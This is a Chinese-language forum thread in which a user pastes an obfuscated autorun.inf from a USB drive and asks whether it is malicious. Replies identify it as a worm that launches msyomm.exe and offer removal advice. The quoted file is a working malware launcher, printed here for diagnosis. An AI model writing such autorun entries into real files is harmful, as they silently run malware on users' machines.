[問題] 判斷這個autorun.inf是病毒還是正常

作者: Lo78   2016-02-08 01:43:52
我的隨身碟有一個autorun.inf
打開以後 裡面是
[AutoRun]
;tJAbRgrKyXNmdnaNtkOPwe iejd flAiLTgqOjqj
opeN =msyomm.exe
;fxqRSkrsDbvlGWuhInKsWn QtPAcg
sheLl\opEn\comMAnd = msyomm.exe
;hqyVYXUsgpQoxDryuS rxsgGjgBhNQywqRaUimhjxGOajdwvw
sHeLl\eXplOre\COmmand= msyomm.exe
;UdaAvcnQPpkp peooIQFqIrysyEvIssh LyvymVEKoqruW ofQISlyolN
SheLL\OPeN\dEfaUlt=1
;vPrl
shelL\AutOPlaY\cOMmand = msyomm.exe
;OJyyG scaMicxjWuueuOPfcRltMo qXPaf
~~~~~~~~~~~~~~~~~
是不是中標了 > <
作者: brianuser (產業廢棄物)   2016-02-08 01:47:00
不用判斷,一般隨身碟就是不會有這個
作者: jh961202 (阿電)   2016-02-08 02:11:00
有中毒,另外請找找看有沒有msyomm.exe這玩意,他是病毒
作者: Lo78   2016-02-08 03:46:00
有耶 砍掉了還是會出來 除非放一個同檔名唯獨檔
作者: brianuser (產業廢棄物)   2016-02-08 03:48:00
那你就是中標ING的狀態
作者: XDDDD5566 (我絕對沒偷吃實驗室點心)   2016-02-08 04:58:00
我之前插隨身碟 諾頓也說已封鎖autorun 但是我的隨身碟是空的耶怎摸會這樣
作者: fatstan (DPJ)   2016-02-08 07:13:00
有開顯示隱藏檔案嗎?
作者: XDDDD5566 (我絕對沒偷吃實驗室點心)   2016-02-08 07:40:00
http://i.imgur.com/QOAFIHj.png 差隨身碟出現這個0.0 我之前用隨身別把舊電腦上的資料搬到新電腦上有來這個版問過問題 在上面而已 0.0 怎摸半
作者: go1717 (go一起一起當神)   2016-02-08 10:52:00
建議關閉自動播放 但無法防止手賤去點XD
作者: Lo78   2016-02-08 13:59:00
我把之前學生版的WIN7灌在usb裡面來重灌 其他硬碟沒有格式化(還有很多重要的檔案)結果重灌WIN7 那個AUTORUN又跑出來好煩啊
作者: s109612044   2016-02-14 22:55:00
如果是win7以下搜尋efix並下載使用看看是否有效...另外,有插過此台電腦的隨身碟都要注意

Links booklink

Contact Us: admin [ a t ] ucptt.com